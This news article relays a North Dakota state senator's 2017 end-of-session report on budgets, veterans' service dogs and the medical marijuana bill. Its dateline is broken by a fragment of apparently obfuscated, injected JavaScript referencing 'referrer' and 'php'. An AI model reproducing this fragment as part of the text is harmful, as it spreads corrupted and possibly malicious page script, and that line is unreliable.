BISMARCK, dzyfi|var|u0026u|referrer|nkrby||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – The 2017 North Dakota Legislative Session is in its final days.

The following is a report from District 24 State Senator Larry Robinson along with a brief audio summary in the text below.

Robinson said, “The Conference Committee action is in full swing. Last week we were able to bring some resolution to the issue of the Highway Shops. The final agreement will allow the shops to remain open if there is a driver living in close proximity to the shop . The language in the bill stipulates that the shops will be open and the snowplow will be placed in the shop between December 1st and March 31st. This is a two year deal. There will be a study in the interim to assess how this plan is working. We will need to stay on top of this issue throughout the interim. Two years will pass quickly. I am pleased we were able to reach this agreement.

We were also successful in reinstating funding for service dogs for our veteran’s with Post Traumatic Stress Disorder. The funding for these dogs was in Senate Bill 2025, the budget for the Department of Veteran’s Affairs. When the bill left the Senate, we had funded four service dogs for the four Veteran’s who were waiting for their dogs. In the House, half of the funding was removed, providing for funding for only two dogs. The cost of each dog to the state is $12,500. Other costs are covered by various other sources. I am pleased to report that in the Conference Committee, we reinstated funding for four dogs to provide important companionship for our PTSD Veterans. They deserve no less!

We are also working on the Commerce Budget, Senate Bill 2018. The  bill provides funding for a number of economic development initiatives, including funding for internships, Research, Air Base Realignment, and support for the Unmanned Aircraft Systems, Agricultural Products Utilization Commission, and more. The bill also provides funding for Homeless Grants. These grants are important to provide for some of our most vulnerable citizens. In the Senate we provided  a total  of $300,000 for these grants. The funding was removed in the House. In the Conference Committee, we reinstated the funding.

Senate Bill 2344, the Medical Marijuana Bill,has passed through both the Senate and the House, and is on its way to the Governor. This  bill was worked on extensively by members of the Senate and the House, the Health Department, and the Attorney Generals Office. The final version is not perfect, but I assure  you, it is not because of a total effort by all parties involved. I would expect that we will have to make some refinements to the bill in two years when we return for the 2019 session of the legislature.

This week we will finalize the budget for the North Dakota University System. That budget is challenging indeed. The budget is approximately 20% below current spending levels. Keep in mind that the systems schools all participated in the allotments of last February and August. The NDUS has already reduced its Full Time Equivalent Employees  (FTE’s), by nearly 400. It is expected that upwards of another 200-300 employees system wide will be reduced as a result of this very tight budget. Tuition is expected to increase by 4% each year of the biennium top help offset the reductions.

We received good news from Representative Kiefert. Their daughter Krissy has made wonderful progress and is recovering from the automobile accident of ten days ago. She is home and resting. We are pleased with the  great news. We wish her a speedy and full recovery.

I would  like to take this opportunity to express my thanks and appreciation to everyone  who has made contact during the legislative session and for all of those who attended our legislative forums. Your input is an important part of the legislative process. Until next time, I can be reached at lrobinson@nd.gov. It has been a long and challenging session. It is an honor and a privilege to represent District 24 in the  North Dakota Senate. I am looking forward to  coming home. Have a great Spring and Summer. Safe travels.